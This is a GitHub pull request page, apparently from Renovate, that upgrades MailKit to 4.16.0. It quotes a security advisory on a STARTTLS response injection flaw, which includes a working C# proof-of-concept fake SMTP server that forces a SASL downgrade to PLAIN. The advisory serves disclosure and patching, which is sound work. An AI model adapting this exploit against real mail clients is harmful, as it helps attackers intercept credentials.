Skip to content

[deps] Tools: Update MailKit to 4.16.0 [SECURITY]#7502

Merged
harr1424 merged 1 commit intomainfrom
renovate/nuget-mailkit-vulnerability
Apr 20, 2026
Merged

[deps] Tools: Update MailKit to 4.16.0 [SECURITY]#7502
harr1424 merged 1 commit intomainfrom
renovate/nuget-mailkit-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Apr 18, 2026

This PR contains the following updates:

Package Change Age Confidence
MailKit (source) 4.15.04.16.0 age confidence

GitHub Vulnerability Alerts

GHSA-9j88-vvj5-vhgr

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Severity
  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Release Notes

jstedfast/MailKit (MailKit)

v4.16.0

Compare Source

  • SECURITY: Fixed protocol streams to reset internal buffers after upgrading to SSL/TLS.
  • Dispose of the RandomNumberGenerator used in RC4.GenerateKey().
    (issue #​1989)
  • Fixed calculation for number of needed bytes in SOCKS5 connect response.
    (issue #​1993)

v4.15.1

Compare Source

  • SECURITY: Bumped MimeKit to 4.15.1 for a security fix that prevents mailbox addresses from being allowed
    to contain CRLF sequences which can be used to inject SMTP commands in the SmtpClient when it sends
    MAIL FROM or RCPT TO commands.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the security label Apr 18, 2026
@renovate renovate Bot requested review from a team April 18, 2026 03:05
@codecov
Copy link
Copy Markdown

codecov Bot commented Apr 18, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 59.11%. Comparing base (cd4e44c) to head (2b96c26).

Additional details and impacted files
@@           Coverage Diff           @@
##             main    #7502   +/-   ##
=======================================
  Coverage   59.11%   59.11%           
=======================================
  Files        2078     2078           
  Lines       91535    91535           
  Branches     8142     8142           
=======================================
  Hits        54111    54111           
  Misses      35496    35496           
  Partials     1928     1928           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@harr1424 harr1424 merged commit 327290c into main Apr 20, 2026
47 of 49 checks passed
@harr1424 harr1424 deleted the renovate/nuget-mailkit-vulnerability branch April 20, 2026 13:59
harr1424 pushed a commit that referenced this pull request Apr 20, 2026
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
(cherry picked from commit 327290c)
harr1424 added a commit that referenced this pull request Apr 20, 2026
…ess option enabled (#7511)

* fix sync bug (#7509)

(cherry picked from commit 7c20581)

* [deps] Tools: Update MailKit to 4.16.0 [SECURITY] (#7502)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
(cherry picked from commit 327290c)

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant